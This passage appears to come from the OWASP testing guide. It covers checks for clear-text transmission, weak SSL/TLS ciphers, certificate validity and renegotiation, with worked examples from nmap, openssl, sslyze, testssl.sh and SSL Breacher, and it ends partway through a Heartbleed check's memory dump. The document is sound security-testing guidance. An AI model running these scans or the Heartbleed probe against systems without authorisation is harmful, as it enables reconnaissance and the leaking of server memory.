The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
